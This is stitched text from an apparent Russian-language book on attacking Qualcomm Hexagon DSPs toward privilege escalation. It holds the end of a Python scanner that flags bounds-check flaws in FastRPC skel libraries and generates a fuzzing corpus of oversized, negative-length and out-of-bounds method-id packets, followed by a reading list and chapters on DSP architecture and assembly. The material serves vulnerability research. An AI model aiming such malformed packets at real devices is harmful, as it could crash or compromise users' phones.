            if is_mem_op(nxt['raw']):
                findings.append(Finding(
                    vuln_type='SIGNED_LEN_CHECK',
                    addr=insn['addr'],
                    func=insn['func'] or '',
                    desc=f"Signed cmp at {insn['addr']:#x} → mem op at {nxt['addr']:#x}",
                    severity='HIGH',
                    evidence=[raw, nxt['raw']],
                ))
                break
    return findings


# ─── Pattern 2: dispatch table OOB index ─────────────────────────────────────

def scan_dispatch_invoke(insns: list[dict], func_name: str = 'sysmon_skel_invoke') -> dict:
    """
    Analyze the main skel_invoke dispatcher:
    - Look for method_id used as array index without bounds check
    - Flag signed comparisons in dispatcher

    sysmon_skel_invoke pattern:
      r4 = extractu(_sc, #5, #0x18)   ← method_id (5 bits, 0-31)
      r4 = memw(r3+r4<<#0x2)          ← dispatch table lookup (OOB if no check)
    """
    func_insns = [i for i in insns if i['func'] == func_name]
    if not func_insns:
        return {'methods': [], 'error': f'Function {func_name} not found'}

    print(f"  [*] {func_name}: {len(func_insns)} instructions")

    target_counts = {}
    for insn in func_insns:
        if 'jump' in insn['mnemonic'] or 'jump' in insn['raw']:
            m = re.search(r'0x([0-9a-f]+)', insn['raw'])
            if m:
                t = int(m.group(1), 16)
                target_counts[t] = target_counts.get(t, 0) + 1

    error_addr = None
    if target_counts:
        error_addr = max(target_counts, key=lambda k: target_counts[k])
        print(f"  [*] Error handler likely at {error_addr:#x} ({target_counts[error_addr]} jumps)")

    checks = []
    calls = []
    for insn in func_insns:
        raw = insn['raw']
        if is_unsigned_cmp(raw) or is_signed_cmp(raw):
            imm = extract_cmp_imm(raw)
            checks.append({'addr': insn['addr'], 'raw': raw, 'imm': imm,
                           'signed': is_signed_cmp(raw)})
        if is_call(insn['mnemonic']):
            target = extract_call_target(insn['operands'])
            calls.append({'addr': insn['addr'], 'target': target})

    print(f"  [*] Found {len(checks)} size/count checks, {len(calls)} function calls")

    signed_checks = [c for c in checks if c['signed']]
    if signed_checks:
        print(f"\n  [!!!] SIGNED comparisons in {func_name} ({len(signed_checks)}):")
        for c in signed_checks[:20]:
            print(f"        {c['addr']:#x}: {c['raw']}")
    else:
        print(f"  [+] All comparisons appear UNSIGNED (cmp.gtu)")

    target_funcs = set(c['target'] for c in calls if c['target'])
    print(f"  [*] Dispatch targets: {sorted(target_funcs)}")

    return {
        'func': func_name,
        'insn_count': len(func_insns),
        'checks': checks,
        'calls': calls,
        'error_addr': error_addr,
        'signed_checks': signed_checks,
    }


# ─── Pattern 3: memtest_memcpy size validation ───────────────────────────────

def analyze_memtest_memcpy(insns: list[dict]) -> list[Finding]:
    findings = []
    func_insns = [i for i in insns if i['func'] == 'memtest_memcpy']
    if not func_insns:
        return findings

    has_size_check = False
    calls_found = []

    for insn in func_insns:
        raw = insn['raw']
        if 'cmp' in raw and ('r2' in raw or 'r3' in raw):
            has_size_check = True
        if is_call(insn['mnemonic']):
            t = extract_call_target(insn['operands'])
            calls_found.append((insn['addr'], t))

    if not has_size_check:
        findings.append(Finding(
            vuln_type='MISSING_SIZE_CHECK',
            addr=func_insns[0]['addr'],
            func='memtest_memcpy',
            desc='memtest_memcpy: no size validation found before copy operation',
            severity='HIGH',
        ))

    for addr, target in calls_found:
        print(f"  [*] memtest_memcpy call @ {addr:#x} → {target:#x if target else '?'}")

    return findings


# ─── Pattern 4: sysmon_mem_test overflow ─────────────────────────────────────

def analyze_sysmon_mem_test(insns: list[dict]) -> list[Finding]:
    findings = []
    func_insns = [i for i in insns if i['func'] == 'sysmon_mem_test']

    mpys = [i for i in func_insns if 'mpyi' in i['raw'] or 'mpyu' in i['raw']]
    if mpys:
        findings.append(Finding(
            vuln_type='INT_OVERFLOW_IN_SIZE',
            addr=mpys[0]['addr'],
            func='sysmon_mem_test',
            desc=f"sysmon_mem_test multiply @ {mpys[0]['addr']:#x}: {mpys[0]['raw']}",
            severity='MEDIUM',
            evidence=[m['raw'] for m in mpys[:3]],
        ))

    return findings


# ─── Pattern 5: usermode_buffer_copy hardcoded size ──────────────────────────

def analyze_usermode_buffer_copy(insns: list[dict]) -> list[Finding]:
    """
    sysmon_usermode_buffer_copy: hardcoded dst_size=0x101.
    CVE-2020-11201 pattern: check if caller validates src_len as signed.
    """
    findings = []
    func_insns = [i for i in insns if i['func'] == 'sysmon_usermode_buffer_copy']
    if not func_insns:
        func_insns = [i for i in insns if i['func'] and 'usermode_buffer' in i['func']]

    for insn in func_insns:
        if '0x101' in insn['raw'] or '##0x100' in insn['raw']:
            print(f"  [!] Hardcoded dst_size=0x101 at {insn['addr']:#x}: {insn['raw']}")
            findings.append(Finding(
                vuln_type='HARDCODED_BUFFER_SIZE',
                addr=insn['addr'],
                func=insn['func'] or '',
                desc=f"Hardcoded dst_size=0x101 at {insn['addr']:#x}",
                severity='MEDIUM',
                evidence=[insn['raw']],
            ))

    return findings


# ─── fastrpc corpus generator ─────────────────────────────────────────────────

def build_fastrpc_packet(method_sc: int, args: list[bytes]) -> bytes:
    """
    Build fastrpc invocation packet for fuzzing harness.
    Format: [4B: sc] [4B: num_args] [per arg: 4B nLen + data]
    """
    out = struct.pack('<II', method_sc, len(args))
    for arg in args:
        out += struct.pack('<I', len(arg))
        out += arg
    return out


def generate_sysmon_corpus() -> list[tuple[str, bytes]]:
    corpus = []

    # Normal: method 0, small buffer
    corpus.append(('sysmon_reg_profiler_valid',
        build_fastrpc_packet(0, [b'\x01\x00\x00\x00', b'\x00\x00\x00\x00'])))

    # sysmon_usermode_buffer_copy: boundary 0x101 bytes
    corpus.append(('usermode_buffer_copy_exact',
        build_fastrpc_packet(3, [b'A' * 0x101, b'\x00' * 0x101])))

    # Off-by-one: 0x102 bytes
    corpus.append(('usermode_buffer_copy_oob',
        build_fastrpc_packet(3, [b'A' * 0x102, b'\x00' * 0x102])))

    # Negative length: nLen=0xFFFFFFFF (sign extension test)
    pkt = struct.pack('<III', 3, 1, 0xFFFFFFFF)
    pkt += b'A' * 4
    corpus.append(('usermode_buffer_copy_neg_len', pkt))

    # OOB dispatch: method_id=31 (max 5-bit) — no bounds check expected
    corpus.append(('oob_dispatch_method31',
        build_fastrpc_packet((31 << 24) | (1 << 16) | (1 << 8),
                              [b'B' * 0x10, b'\x00' * 0x10])))

    # All zeros
    corpus.append(('all_zeros', build_fastrpc_packet(0, [b'\x00' * 4])))

    # Corrupt sc
    corpus.append(('corrupt_sc', struct.pack('<I', 0xFFFFFFFF) + b'\x00' * 32))

    return corpus


def mutate_corpus(corpus: list[tuple[str, bytes]], n: int = 200) -> list[tuple[str, bytes]]:
    import random
    mutated = list(corpus)

    INTERESTING = [0, 1, -1, 0x7F, 0x80, 0xFF, 0x100, 0x101, 0x7FFF, 0x8000,
                   0xFFFF, 0x10000, 0x7FFFFFFF, 0x80000000, 0xFFFFFFFF]

    for i in range(n):
        name, data = random.choice(corpus)
        data = bytearray(data)

        strat = random.randint(0, 5)
        if strat == 0 and len(data) >= 8:
            val = random.choice(INTERESTING) & 0xFFFFFFFF
            struct.pack_into('<I', data, 8, val)
        elif strat == 1 and len(data) > 0:
            pos = random.randint(0, len(data)-1)
            data[pos] ^= random.randint(1, 255)
        elif strat == 2 and len(data) >= 4:
            struct.pack_into('<I', data, 0, random.randint(0, 100))
        elif strat == 3 and len(data) >= 8:
            for j in range(12, len(data)):
                data[j] = 0x41
        elif strat == 4:
            data += bytes([random.randint(0, 255) for _ in range(random.randint(1, 64))])
        elif strat == 5 and len(data) >= 8:
            pos = random.randint(0, (len(data)//4 - 1)) * 4
            val = random.choice(INTERESTING) & 0xFFFFFFFF
            struct.pack_into('<I', data, pos, val)

        mutated.append((f'mut_{name}_{i:04d}', bytes(data)))

    return mutated


# ─── Main ─────────────────────────────────────────────────────────────────────

def main():
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('--lib', default='libsysmon_skel.so')
    parser.add_argument('--corpus', action='store_true', help='Generate fuzzing corpus')
    parser.add_argument('--all-libs', action='store_true', help='Scan all libraries')
    args = parser.parse_args()

    libs = list(LIB_DIR.glob('*.so')) if args.all_libs else [LIB_DIR / args.lib]
    all_findings = []

    for lib_path in libs:
        print(f"\n{'='*60}")
        print(f"Library: {lib_path.name}")
        print(f"{'='*60}")

        try:
            insns = disasm(str(lib_path))
        except Exception as e:
            print(f"[!] Disassembly failed: {e}")
            continue

        print(f"[+] Disassembled {len(insns)} instructions")
        funcs = sorted(set(i['func'] for i in insns if i['func']))
        print(f"[+] Functions: {len(funcs)}")

        print(f"\n--- Pattern 1: Signed length checks ---")
        f1 = scan_signed_len_check(insns)
        all_findings.extend(f1)
        for f in f1[:10]:
            print(f"  [{'!!!' if f.severity == 'HIGH' else '!'}] {f.desc}")
        if not f1:
            print("  (none found)")

        print(f"\n--- Pattern 2: Dispatcher analysis ---")
        for fn in ['sysmon_skel_invoke', 'cdsp_skel_invoke', 'skel_invoke']:
            if any(i['func'] == fn for i in insns):
                scan_dispatch_invoke(insns, fn)

        print(f"\n--- Pattern 3: memtest_memcpy ---")
        f3 = analyze_memtest_memcpy(insns)
        all_findings.extend(f3)

        print(f"\n--- Pattern 4: sysmon_mem_test ---")
        f4 = analyze_sysmon_mem_test(insns)
        all_findings.extend(f4)

        print(f"\n--- Pattern 5: usermode_buffer_copy ---")
        f5 = analyze_usermode_buffer_copy(insns)
        all_findings.extend(f5)

        print(f"\n--- Summary ---")
        print(f"  Total: {len(f1)+len(f3)+len(f4)+len(f5)}")
        print(f"  HIGH:  {len([f for f in all_findings if f.severity == 'HIGH'])}")

    if args.corpus:
        OUT_DIR.mkdir(exist_ok=True)
        corpus_dir = OUT_DIR / 'corpus_sysmon'
        corpus_dir.mkdir(exist_ok=True)

        seeds = generate_sysmon_corpus()
        mutated = mutate_corpus(seeds, n=200)
        for name, data in seeds + mutated:
            (corpus_dir / f'{name}.bin').write_bytes(data)

        print(f"\n[+] Written {len(seeds + mutated)} test cases to {corpus_dir}/")
        print(f"afl-fuzz -i {corpus_dir}/ -o {OUT_DIR}/afl_out/ -- ./sysmon_harness @@")


if __name__ == '__main__':
    main()


ewpage

# Приложение C. Материалы для изучения

Рекомендованная литература и документация по Hexagon QDSP6 и FastRPC.

---

## Официальная документация Qualcomm

Hexagon SDK / FastRPC:

- Qualcomm DSP Developer Documentation — FastRPC и Android Native Hardware Buffers 
  Официальный обзор FastRPC API, IDL workflow, shared memory модели. Стартовая точка для понимания skel_handle_invoke ABI.

Hexagon V73 Programmer's Reference Manual:

- 80-N2040-53 — Qualcomm Hexagon V73 Programmer's Reference Manual 
  Полный набор инструкций V73: encoding, семантика, пакеты. Обязательно при декодировании неизвестных опкодов вручную.

- 80-N2040-54 REV AB — Qualcomm Hexagon V73 HVX Programmer's Reference Manual 
  HVX (Hexagon Vector eXtensions): 128-байтовые векторные регистры, SIMD инструкции. Нужен при реверсе ML/camera DSP библиотек.

Hexagon SDK полный пакет:

- Qualcomm Hexagon SDK — All Docs 
  Полный SDK: QuRT RTOS API, FastRPC tutorials, примеры skel/stub кода, инструкция по сборке под hexagon-unknown-linux-musl.

---

## Дизассемблеры и библиотеки

yaxpeax-hexagon:

- git.iximeow.net/yaxpeax-hexagon 
  Rust-декодер для Hexagon инструкций. Точнее чем binutils для V73; поддерживает compound инструкции и правильно декодирует .new суффиксы.

- crates.io/crates/yaxpeax-hexagon 
  Crate для интеграции в собственные инструменты анализа. Использовать вместо llvm-objdump когда нужна программная обработка потока инструкций.

---

## Как использовать эти источники

| Задача | Документ |
|--------|----------|
| Понять encoding незнакомой инструкции | 80-N2040-53 PDF, глава по типу инструкции |
| Разобраться с HVX в camera/ML либе | 80-N2040-54 PDF |
| Написать корректный skel stub | Qualcomm SDK All Docs, FastRPC раздел |
| Программный дизассемблер для Rust-инструмента | yaxpeax-hexagon crate |
| Понять SELinux/доступность fastrpc | SDK → FastRPC + Android Permissions документация |
👍6 👏1 💯1
обновление книги 2.0
# Hexagon QDSP6: от архитектуры до LPE

by progasm | Май 2026

---

# Глава 1. Hexagon QDSP6: Архитектура изнутри

by progasm

---

## Предисловие

Если ты когда-нибудь разбирал Qualcomm-девайс и думал «а что вообще там внутри, за этим ARM-ядром» — добро пожаловать. Я провёл несколько месяцев, закапываясь в DSP-прошивки, и хочу рассказать тебе то, что не найдёшь в одном месте: как устроен Hexagon QDSP6, как он живёт внутри SoC, почему он интересен с точки зрения безопасности, и как именно его ломать.

Это не просто теория. Мы пройдём путь от архитектуры до реального PoC на реальном железе — POCO M8 5G с чипом Snapdragon 6 Gen 3 (SM6475, платформа parrot). Но сначала — фундамент.

---

## 1.1 Что такое DSP и зачем Qualcomm его придумал

DSP — Digital Signal Processor. Это не просто «ещё один процессор» рядом с ARM. Это специализированный вычислитель, оптимизированный под задачи обработки сигналов: аудио, видео, нейронные сети, связь.

ARM Cortex умеет всё, но ценой энергопотребления. Задача «декодировать AAC-стрим в фоне» на ARM-ядре — это разбуженное ядро, полная частота, 300+ мВт. На DSP — та же задача при 10 мВт, ядра ARM спят. Вот почему Qualcomm годами вкладывался в собственный DSP.

В SoC на базе Snapdragon присутствует несколько DSP-инстанций:

| Экземпляр | Назначение |
|-----------|-----------|
| ADSP (Audio DSP) | Аудио, Always-On Sensing |
| CDSP (Compute DSP) | HVX, нейросети, ML |
| MDSP (Modem DSP) | Стек LTE/5G, baseband |
| SLPI | Сенсоры, low-power islands |

Нас в первую очередь интересует MDSP и CDSP — именно там живут самые вкусные уязвимости с точки зрения привилегий и атакуемости извне.

---

## 1.2 Семейство Hexagon: от V1 до V73

Qualcomm называет свою DSP-архитектуру Hexagon. QDSP6 — это шестое поколение, именно оно стало массовым и используется во всех современных Snapdragon SoC.

Внутри QDSP6 — несколько поколений микроархитектур:

Code:
V1  → V2  → V3  → V4  (MSM7xxx, ранние Snapdragon)
V5  → V55 → V56        (Snapdragon 800, 801)
V60 → V61 → V62        (Snapdragon 820, 835)
V65 → V66              (Snapdragon 845, 855)
V68                    (Snapdragon 865, 888)
V69                    (Snapdragon 8 Gen 1)
V73                    (Snapdragon 8 Gen 2, 6 Gen 3)

Наш таргет — SM6475 (Snapdragon 6 Gen 3, платформа parrot) — использует Hexagon V73.

Что менялось между версиями:
  • Ширина вектора HVX: 64→128 байт
  • Количество execution units
  • Расширения для ML: Hexagon Neural Processing Unit (HTA)
  • Изменения MMU и MPU
  • Новые инструкции и форматы пакетов

Документация по конкретным версиям частично публична — Qualcomm выкладывает reference manuals на developer.qualcomm.com, но не всё и не всегда актуальное.

---

## 1.3 Архитектура ядра QDSP6

Hexagon QDSP6 — VLIW (Very Long Instruction Word) процессор с аппаратной многопоточностью. Это сразу два непривычных свойства для тех, кто привык к x86 или ARM.

### 1.3.1 VLIW: пакеты инструкций

В обычном процессоре одна инструкция — одна операция. В VLIW компилятор сам упаковывает несколько независимых операций в один «пакет», который процессор исполняет параллельно.

Code:
// Пример пакета QDSP6 (псевдокод)
{
    R0 = R1 + R2       // ALU операция
    R3 = memw(R4)      // Load из памяти
    P0 = cmp.eq(R5,R6) // Comparison → predicate
}
// Всё три операции — за один такт

Пакеты Hexagon могут содержать до 4 слотов. Каждый слот — отдельная функциональная единица:
  • Slot 0, 1: ALU / shift / арифметика
  • Slot 2: ALU / умножение
  • Slot 3: Load/Store

Важный момент для реверсера: если ты видишь в дизассемблере инструкции, обёрнутые в { } — это один пакет, исполняющийся атомарно. Это критично для понимания семантики кода.

### 1.3.2 Аппаратные потоки (Hardware Threads)

QDSP6 поддерживает одновременное исполнение нескольких аппаратных потоков (hardware threads, или HW threads) на одном ядре. V73 поддерживает до 4 HW-потоков.

Это не гиперпоточность в смысле Intel: каждый HW-поток имеет свой полный набор регистров, свой PC, свой стек. При переключении между потоками нет overhead на сохранение контекста — регистровый файл у каждого свой.

Это влияет на безопасность: каждый поток может иметь разные привилегии, разные MMU-контексты.

### 1.3.3 Execution Units

\newpage

Code:
┌────────────────────────────────────────────────┐
│              Hexagon V73 Core                  │
│                                                │
│  ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐          │
│  │ ALU0 │ │ ALU1 │ │ MUL  │ │ LD/ST│          │
│  └──────┘ └──────┘ └──────┘ └──────┘          │
│       ↑        ↑       ↑        ↑              │
│  ─────────────────────────────────────────     │
│         Unified Register File                  │
│    R0-R31 (32×32-bit general purpose)          │
│    P0-P3  (4×8-bit predicate registers)        │
│    C0-C31 (control registers)                  │
│  ─────────────────────────────────────────     │
│         Instruction Fetch / Decode             │
│  ─────────────────────────────────────────     │
│    HW Thread 0 | HW Thread 1 | HW Thread 2     │
│    HW Thread 3                                 │
└────────────────────────────────────────────────┘

### 1.3.4 Векторный блок HVX

HVX (Hexagon Vector eXtensions) — это SIMD-расширение с регистрами шириной 128 байт (1024 бит). Используется для:
  • Обработки изображений
  • DSP-вычислений
  • Нейронных сетей

С точки зрения безопасности HVX-инструкции — отдельная поверхность: в истории были баги в парсерах HVX-инструкций в эмуляторах и при JIT-компиляции.

---

## 1.4 Подсистема памяти

### 1.4.1 Адресное пространство

QDSP6 использует 32-битное виртуальное адресное пространство с поддержкой MMU. Типичная раскладка для ADSP/CDSP:

Code:
0x00000000 - 0x00FFFFFF  : TCM (Tightly Coupled Memory) — быстрая память ядра
0x01000000 - 0x0FFFFFFF  : Internal RAM
0x80000000 - 0x9FFFFFFF  : Shared memory с ARM (SMEM)
0xC0000000 - 0xFFFFFFFF  : MMIO, периферия

Для MDSP (модем DSP) раскладка другая и строже изолирована от HLOS (High-Level OS = Android).

### 1.4.2 MPU vs MMU

Не все версии Hexagon имеют полноценный MMU. Некоторые инстанции (SLPI, части ADSP) используют MPU (Memory Protection Unit) — упрощённую версию без трансляции адресов, только с регионами и правами.

MDSP исторически использовал более строгую изоляцию через SMMU (System MMU) на стороне ARM-хоста, что добавляет слой защиты но и создаёт интересные вопросы при атаке через shared memory.

### 1.4.3 Уровни привилегий

Hexagon имеет 3 уровня привилегий (privilege levels):

Code:
User mode (PL0)      — пользовательский код, сервисы
Supervisor (PL1)     — QuRT RTOS, управление ресурсами
Monitor/Hypervisor   — только на некоторых конфигурациях

QuRT — это RTOS от Qualcomm, работающий на Hexagon. Это монолитная ОС реального времени, которая управляет потоками, памятью и IPС на DSP. Если ты получил код выполнения в QuRT — ты фактически в supervisor mode на DSP.

---

## 1.5 Коммуникация ARM ↔ Hexagon

Это ключевое место с точки зрения атаки. Как ARM (Android) общается с DSP?

### 1.5.1 FastRPC

FastRPC (Fast Remote Procedure Call) — это механизм IPC между HLOS (Android) и DSP. Работает через kernel driver (/dev/adsprpc-smd, /dev/fastrpc-*) и shared memory.

Code:
┌─────────────────────┐       ┌─────────────────────┐
│    Android (ARM)    │       │   Hexagon DSP       │
│                     │       │                     │
│  app → libcdsprpc   │──────▶│  skeleton stub      │
│        ↓            │  SHM  │       ↓             │
│  /dev/fastrpc-cdsp  │       │  compute_lib.so     │
└─────────────────────┘       └─────────────────────┘

Клиентская часть на ARM вызывает функции через IDL stub (Interface Definition Language). Данные передаются через shared memory или SMEM. На стороне DSP живёт skeleton — код, принимающий вызовы и вызывающий реальные функции.

FastRPC — наш главный вектор атаки. Подробно разберём в главе 9.

### 1.5.2 SMD / SMSM (Shared Memory Driver)

Для моденного DSP (MDSP) используется другой механизм — SMD (Shared Memory Driver) и его новая версия GLINK. Это более низкоуровневый транспорт для обмена данными между ARM и модемом.

### 1.5.3 Subsystem Restart (SSR)

Интересная особенность: если DSP паникует (crash), ARM-сторона это детектирует через SSR механизм и перезапускает DSP-подсистему. Это важно для нас как исследователей — crash на DSP не всегда ведёт к reboot устройства, иногда это просто restart сервиса.

---

## 1.6 Безопасность и изоляция: теория

Qualcomm декларирует несколько уровней защиты:

1. SMMU изоляция — DSP не может читать произвольную память ARM
2. Подпись образов — прошивка DSP подписана, верифицируется при загрузке
3. Privilege separation — user/supervisor разделение внутри DSP
4. SecureMSM — на уровне TrustZone ARM контролирует загрузку DSP

На практике:
  • FastRPC открывает широкую атаку-поверхность
  • Shared memory регионы часто доступны из userspace
  • Проверки в IDL stub бывают неполными
  • Старые .so на DSP с N-day уязвимостями

---

## 1.7 Инструменты для работы с Hexagon

| Инструмент | Назначение |
|-----------|-----------|
| LLVM/Clang для Hexagon | Официальный компилятор, поддержка в mainline LLVM |
| Qualcomm SDK | Официальный SDK для CDSP (частично публичный) |
| IDA Pro + Hexagon plugin | Дизассемблер (plugin от Qualcomm или community) |
| Ghidra + QDSP6 module | Открытый анализ (NSA Ghidra + community processor) |
| QEMU + Hexagon | Эмуляция (добавлена в mainline QEMU 6.x) |
| hexagon-binutils | GNU binutils порт для Hexagon |
| Frida | Динамический анализ (нужен кастомный backend для DSP) |

---

## 1.8 Итог главы

Мы разобрали:
  • Hexagon QDSP6 — VLIW-процессор с аппаратной многопоточностью
  • Внутри SoC есть несколько DSP-инстанций (ADSP, CDSP, MDSP)
  • Ключевой канал атаки — FastRPC между Android и DSP
  • QuRT — RTOS на DSP, supervisor-уровень
  • Архитектура памяти и уровни привилегий

В следующей главе погружаемся в ассемблер Hexagon — учимся читать и писать код для QDSP6, разбираем реальные инструкции из прошивок.

---

«Архитектура — это карта. Пока не умеешь её читать — остаёшься туристом.»


---

# Глава 2. Hexagon QDSP6 Assembly: читаем и пишем как человек

by progasm

---

## 2.1 Почему ассемблер QDSP6 — это не больно

Первый раз открывая дизассемблер Hexagon, хочется закрыть ноутбук и уйти. Инструкции выглядят странно, синтаксис непривычный, везде какие-то { } скобки. Но на самом деле всё логично — нужно просто понять несколько ключевых концепций, и дальше читать будет легко.

Я проходил через это. Давай пройдём вместе, но быстрее.

---

## 2.2 Регистры

### 2.2.1 Общего назначения (R0–R31)

32 регистра по 32 бита. Можно объединять в пары для 64-битных операций:

Code:
R0          ; 32-bit регистр
R1:0        ; 64-bit пара: R1 (старшие 32 бит) : R0 (младшие 32 бит)
R3:2        ; следующая пара

Calling convention (ABI Hexagon):

| Регистр | Роль |
|---------|------|
| R0–R5 | Аргументы функции / возвращаемые значения |
| R6–R7 | Временные (callee может использовать) |
| R8–R15 | Saved (callee должен сохранить) |
| R16–R27 | Callee-saved |
| R28 | Callee-saved |
| R29 | Stack Pointer (SP) |
| R30 | Frame Pointer (FP) |
| R31 | Link Register (LR) — адрес возврата |

Если функция получает структуру — она передаётся через R0:R1 (8 байт) или через указатель в R0.

### 2.2.2 Predicate registers (P0–P3)

4 predicate-регистра по 8 бит. Это флаги условий, но более гибкие чем в ARM:

Code:
P0 = cmp.eq(R0, R1)    ; P0 = (R0 == R1)
P1 = cmp.gt(R2, R3)    ; P1 = (R2 > R3) signed
P2 = cmp.gtu(R4, R5)   ; P2 = (R4 > R5) unsigned

if (P0) R6 = R7        ; условное присваивание
if (!P1) jump .label   ; условный переход (инвертированный)

Predicate-регистры можно комбинировать:

Code:
P3 = P0 & P1           ; логическое AND предикатов
P3 = P0 | P1           ; logical OR
P3 = P0 ^ P1           ; XOR

### 2.2.3 Control Registers (C0–C31)

Управляющие регистры. Наиболее важные:

| Регистр | Псевдоним | Назначение |
|---------|-----------|-----------|
| C0 | SA0 | Loop start address 0 |
| C1 | LC0 | Loop count 0 |
| C2 | SA1 | Loop start address 1 |
| C3 | LC1 | Loop count 1 |
| C4 | P3:0 | Predicate registers (все 4) |
| C8 | USR | User Status Register |
| C9 | PC | Program Counter |
| C10 | UGP | User General Pointer |
| C11 | GP | Global Pointer |
| C29 | STID | Software Thread ID |
| C30 | ELR | Exception Link Register |
| C31 | PKTCOUNT | Packet counter |

---

## 2.3 Пакеты инструкций: ключевая концепция

Это самое важное что нужно понять в Hexagon ассемблере.

Hexagon — VLIW процессор. Компилятор упаковывает несколько независимых инструкций в пакет (packet), который исполняется за один такт.

Code:
; Обычная последовательность (не пакет):
R0 = R1 + R2
R3 = R4 + R5

; Тот же код как пакет:
{
    R0 = R1 + R2
    R3 = R4 + R5
}

Правила пакетов:

1. До 4 инструкций в пакете
2. Все инструкции в пакете читают входные регистры до того как какая-либо инструкция записала результат
3. Нельзя в одном пакете читать регистр, в который другая инструкция того же пакета пишет (data hazard)
4. В пакете может быть только один branch

Data forwarding исключение: запись в регистр в пакете N видна только с пакета N+1. Это критически важно для корректного чтения кода!

Code:
; ОШИБКА — data hazard в пакете:
{
    R0 = R1 + R2     ; пишем R0
    R3 = R0 + R4     ; читаем R0 — но это СТАРОЕ значение R0!
}

; Правильно:
R0 = R1 + R2
{
    R3 = R0 + R4     ; теперь R0 уже обновлён
}

В дизассемблере (IDA, Ghidra) пакеты обычно отображаются с явными скобками или специальными маркерами.

---

## 2.4 Инструкции: базовый набор

### 2.4.1 Арифметика

Code:
; Сложение/вычитание
R0 = R1 + R2                ; R0 = R1 + R2
R0 = R1 - R2                ; R0 = R1 - R2
R0 = R1 + R2:sat            ; R0 = saturate(R1 + R2)
R0 += R1                    ; R0 = R0 + R1  (аккумуляция)

; 64-битная арифметика
R1:0 = R3:2 + R5:4          ; 64-bit add

; Умножение
R0 = mpy(R1, R2)            ; R0 = низкие 32 бит (R1 * R2)
R1:0 = mpy(R2, R3)          ; 64-bit результат
R0 = mpyi(R1, #5)           ; умножить на immediate

; Деление (медленно!)
R0 = R1 / R2                ; знаковое деление
R0 = R1 / R2 :rnd           ; с округлением

### 2.4.2 Логика и сдвиги

Code:
R0 = and(R1, R2)            ; R0 = R1 & R2
R0 = or(R1, R2)             ; R0 = R1 | R2  
R0 = xor(R1, R2)            ; R0 = R1 ^ R2
R0 = not(R1)                ; R0 = ~R1

; Сдвиги
R0 = asr(R1, #4)            ; арифметический сдвиг вправо на 4
R0 = lsr(R1, #4)            ; логический сдвиг вправо
R0 = asl(R1, #4)            ; сдвиг влево
R0 = asr(R1, R2)            ; сдвиг на переменное количество бит

; Ротация
R0 = rol(R1, #3)            ; rotate left

; Битовые операции
R0 = setbit(R1, #5)         ; установить бит 5
R0 = clrbit(R1, #5)         ; сбросить бит 5
R0 = togglebit(R1, #5)      ; инвертировать бит 5
P0 = tstbit(R1, #5)         ; проверить бит 5 → predicate

### 2.4.3 Работа с памятью (Load/Store)

Code:
; Loads
R0 = memb(R1 + #4)          ; load byte (sign-extended)
R0 = memub(R1 + #4)         ; load unsigned byte
R0 = memh(R1 + #8)          ; load halfword (16 bit)
R0 = memuh(R1 + #8)         ; load unsigned halfword
R0 = memw(R1 + #12)         ; load word (32 bit)
R1:0 = memd(R2 + #16)       ; load double (64 bit)

; Addressing modes
R0 = memw(R1)               ; base register
R0 = memw(R1 + #offset)     ; base + immediate
R0 = memw(R1 + R2 << #2)   ; base + scaled register
R0 = memw(R1 ++ #4)         ; post-increment: load then R1 += 4
R0 = memw(R1 -- #4)         ; post-decrement

; Stores
memb(R1 + #4) = R0          ; store byte
memh(R1 + #4) = R0          ; store halfword
memw(R1 + #4) = R0          ; store word
memd(R1 + #4) = R1:0        ; store double

### 2.4.4 Управление потоком

Code:
; Безусловные переходы
jump .label                 ; прямой jump (PC-relative)
jumpr R0                    ; indirect jump (через регистр)
call .func                  ; вызов функции (R31 = return addr)
callr R0                    ; indirect call

; Условные переходы
if (P0) jump .label         ; если P0 истина
if (!P0) jump .label        ; если P0 ложь
if (P0.new) jump .label     ; .new — ссылка на P0 вычисленный в том же пакете

; Return
jumpr R31                   ; return (jump to link register)

Важная концепция — .new:

Code:
{
    P0 = cmp.eq(R0, #0)
    if (P0.new) jump:t .label   ; :t = taken hint (предсказание)
}

.new позволяет использовать предикат вычисленный в этом же пакете. Это ускоряет код но делает его труднее для чтения.

---

## 2.5 Аппаратные циклы

Одна из самых красивых фич Hexagon — аппаратные циклы без overhead на проверку условия:

Code:
; Аппаратный цикл
loop0(.loop_body, #10)       ; настроить счётчик = 10, адрес начала

.loop_body:
    R0 = R0 + R1
    R2 = memw(R3 ++ #4)     ; post-increment
endloop0                     ; уменьшить счётчик, если != 0 — jump к loop_body

; Вложенные циклы
loop0(.inner, R4)
loop1(.outer, R5)
.outer:
.inner:
    ; тело
    endloop0
endloop1

endloop0/endloop1 — специальные инструкции которые автоматически:
1. Декрементируют счётчик (LC0/LC1)
2. Прыгают к SA0/SA1 если счётчик != 0

Для реверсера: если видишь endloop0 — перед тобой hot loop. Часто там и живут баги с off-by-one.

---

## 2.6 Разбор кода: учебный пример

Примечание: Этот и следующий фрагменты — учебные псевдокодовые примеры, иллюстрирующие типичные паттерны из DSP-кода. Не из конкретных проанализированных библиотек. Реальные дизассемблированные фрагменты из нашего исследования — в главах 7–10.

Типичный паттерн: функция с magic-check + bounds validation:

Code:
; Функция: int validate_buffer(void *buf, int size)
; (учебный псевдокод, иллюстрирующий типичный паттерн)

    {
        R2 = memw(R0 + #0)        ; load buf->magic
        R3 = memw(R0 + #4)        ; load buf->length
    }
    {
        R4 = and(R3, #0xFFFF0000) ; маскируем старшие 16 бит length
        P0 = cmp.eq(R2, #0xDEADBEEF)  ; проверяем magic
    }
    {
        if (!P0) jump .fail       ; если magic неверный — выход
        R5 = R3                   ; копируем length
    }
    {
        R4 = asr(R4, #16)         ; R4 = size (старшие 16 бит)
        R6 = R1                   ; сохраняем аргумент size
    }
    P1 = cmp.gtu(R5, R6)         ; length > input size?
    if (P1) jump .fail            ; overflow protection

.fail:
    R0 = #-1
    jumpr R31                     ; return -1

Что видно в паттерне:
1. Структура с полями magic и length (offset 0 и 4)
2. Проверка magic значения 0xDEADBEEF
3. Проверка length > size через cmp.gtu

Типичный баг в таком коде:

  • R4 = and(R3, #0xFFFF0000) — маскируются только старшие 16 бит
  • Затем R4 = asr(R4, #16) — реально используется (length >> 16)
  • Но проверка cmp.gtu(R5, R6) использует R5 (полное R3), а не R4

В реальных прошивках встречаются подобные несоответствия. Конкретные примеры из нашего исследования — в главах 7–9.

---

## 2.7 Соглашения о вызовах: практика

Code:
; Вызов функции: int memcpy_checked(void *dst, void *src, size_t n)
